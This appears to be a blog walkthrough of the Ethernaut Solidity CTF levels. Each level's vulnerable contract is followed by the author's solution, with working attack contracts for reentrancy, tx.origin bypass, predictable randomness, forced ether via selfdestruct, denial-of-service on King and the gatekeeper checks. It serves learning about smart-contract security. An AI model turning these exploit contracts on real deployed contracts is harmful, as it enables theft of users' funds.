If you want to seriously get started with blockchain, let's first work on this playground.
Fallback#
This challenge has two requirements:
- Gain ownership of this contract.
- Reduce its balance to zero.
Let's take a look at the contract content.
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
These two functions can control the ownership. You can first send some ether to the contribute transaction to make your contribution greater than 0, and then calling the receive transaction will allow you to gain ownership.
The receive function is the fallback function in Solidity, which is triggered when a non-existent method is called externally.
So set the amount of wei to send in Remix, and then send an empty transaction in the low-level interaction below.
This successfully changes the owner to ourselves.
Then call the withdraw function to extract the entire balance to meet the requirements.
Fallout#
The requirement is still to get the owner.
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
This function directly provides a way to change the owner; just call it.
Coin Flip#
This is a coin-flipping game where you need to guess the result correctly in succession. To complete this level, you need to use your superpower to guess correctly ten times in a row.
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
Note that there is a revert function; it will trigger a rollback and cancel this transaction, but it is not needed here.
The method to determine heads or tails is blockValue / FACTOR == 1 ? true : false
, so we can perform this calculation in advance and substitute the result.
CoinFlip public coinFlipContract;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _coinFlipContract) public{
coinFlipContract = CoinFlip(_coinFlipContract);
}
function guessFlip() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue/FACTOR;
bool guess = coinFlip == 1 ? true : false;
coinFlipContract.flip(guess);
}
}
This way, you can guess correctly 100% of the time; just call it 10 times.
Telephone#
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
The requirement is to bypass tx.origin != msg.sender
.
tx.origin
is the address that initiated the request, while msg.sender
is the address calling the contract.
So you can write a third-party contract to call the target contract and bypass the restriction to gain ownership.
For example:
contract attacker {
Telephone telephone;
constructor(address _contractaddr){
telephone = Telephone(_contractaddr);
}
function attack(address _owner) public{
telephone.changeOwner(_owner);
}
}
This way, you gain control.
Token#
This contract essentially implements a tradable token.
The transfer
function does not use SafeMath, which may cause overflow in calculations.
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
For example, if I currently have 20 tokens and I send 22 to a random address, my token balance will overflow and become extremely large.
like this.
Delegation#
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
The challenge actually exposes the Delegation contract, which forwards requests to the delegate function via delegatecall.
The code at the target address executes in the context of the calling contract, and the values of msg.sender and msg.value do not change. This means that the contract can dynamically load code from different addresses during execution. Storage, current address, and balance still refer to the calling contract; only the code is extracted from the called address.
So you can first encode the data for the pwn
function and directly pass this data during the transfer, allowing you to access pwn
through the fallback to modify the owner.
Force#
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
?
The goal of this level is to make the balance of the contract greater than zero.
This contract does not implement a payable function and does not have a receive or fallback, so it cannot be directly transferred to.
For a contract, there are several ways to transfer to it:
- The contract implements at least one payable function, and then ETH is sent during the function call.
- The contract implements a receive function.
- The contract implements a fallback function.
- Through selfdestruct().
- By receiving ETH as a miner's reward.
The selfdestruct function will destroy a contract and forcibly transfer the balance within the contract address to the target address.
Clearly, here we can only use the selfdestruct function to achieve a forced transfer, so we will write an attack contract.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract attacker{
function attack(address payable _addr) public payable {
selfdestruct(_addr);
}
}
So you can attach a transfer during the attack.
Vault#
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
Here you need to guess the value of the password. I think this might be similar to the previous one, and it can be directly decompiled.
By decompiling, it is found that the password is stored in slot 1 of this contract, which can be accessed directly via web3.eth.getStorageAt("0xc0d3b189eDa39e0825D61413bDE0B34db919d580",1)
to get the password and input it into unlock.
King#
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
It seems that the goal is to set the prize to the maximum uint value to prevent the msg value from being greater than the prize.
However, the maximum uint value is 2^256-1
, and I don't know how much ETH that is, so I just sent one over.
Okay, I lost one ether and it didn't work.
Looking at the solution, it requires reverting the transaction after calling it.
contract BadKing {
King public king = King(YOUR_LEVEL_ADDR_HERE);
// Create a malicious contract and seed it with some Ethers
function BadKing() public payable {
}
// This should trigger King fallback(), making this contract the king
function becomeKing() public {
address(king).call.value(1000000000000000000).gas(4000000)();
}
// This function fails "king.transfer" trx from Ethernaut
function() external payable {
revert("haha you fail");
}
}
I am out of money now; I will continue later.
Re-entrancy#
The challenge is a classic reentrancy attack.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
(bool result,) = msg.sender.call{value:_amount}("");
This line has already executed the transfer operation, but the balances[msg.sender] -= _amount;
is executed afterward.
So we write an attack contract like this:
contract attacker{
Reentrance cont;
uint public targetBalance;
constructor(address payable addr){
cont = Reentrance(addr);
targetBalance = address(cont).balance;
}
function attack() public payable{
cont.donate{value:targetBalance}(address(this));
withdraw();
}
fallback() external payable{
withdraw();
}
function withdraw() public{
cont.withdraw(targetBalance);
}
}
This will loop withdraw and extract everything.
Elevator#
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
The requirement is to make top
true. It seems simple; just make a function that returns false the first time and true the second time.
The corresponding attack contract:
contract Building{
uint public isused;
constructor(){
isused = 0;
}
function isLastFloor(uint floor) external returns (bool){
if(isused == 0){
isused++;
return false;
} else{
return true;
}
}
function useElevator(address addr) public{
Elevator elev = Elevator(addr);
elev.goTo(1);
}
}
Privacy#
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;
constructor(bytes32[3] memory _data) {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
To find the data from storage and read it, similar to the previous vault, first decompile. By using the Bydmumbai network, I couldn't decompile it with Bydmumbai, but I saw the data exists in storage slot 5 using JEB.
Use web3.eth.getStorageAt(contract.address,5)
to check the data and get the key, which is the first half of data, bytes16
.
Gatekeeper One#
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
The goal is to pass three gates to take down the entrant.
First, for the first gate, using a contract call can bypass it.
The second gate requires a special value for gasleft
.
Typical CTF thinking 👍👍👍
Boom!
The third gate requires a type conversion.
In simple terms, it constructs a mask for its own address, requiring corresponding bits to be consistent.
Finally, compile it with an appropriate compiler version and deploy it.
GateKeeperTwo#
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
The first gate: classic msg.sender != tx.origin
.
The second gate requires extcodesize(caller())=0
based on the documentation.
The idea is straightforward: if an address contains code, it's not an EOA but a contract account. However, a contract does not have source code available during construction. This means that while the constructor is running, it can make calls to other contracts, but
extcodesize
for its address returns zero.
This means that calling other contracts during the constructor will satisfy this requirement.
The third gate requires that the attack contract address XORed with the gate key equals the maximum value of uint64
.
The maximum value of uint64
is a value where all bits are 1, so we can XOR uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))
with 0xFFFFFFFFFFFFFFFF
to get this key.
The final attack contract is:
contract gate2 {
constructor(address _gatekeeper){
GatekeeperTwo gate = GatekeeperTwo(_gatekeeper);
bytes8 gatekey = bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xFFFFFFFFFFFFFFFF;
gate.enter(gatekey);
}
}
Naught Coin#
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20('NaughtCoin', '0x0') {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}
This constructs an ERC20 token and overrides the transfer function to add a time lock.
So we need to use the transferFrom
function to transfer tokens from the player's account.
Use contract.approve
to approve transferFrom
.
The parameter for approve should be your own wallet.
Then use await contract.transferFrom
to transfer all tokens.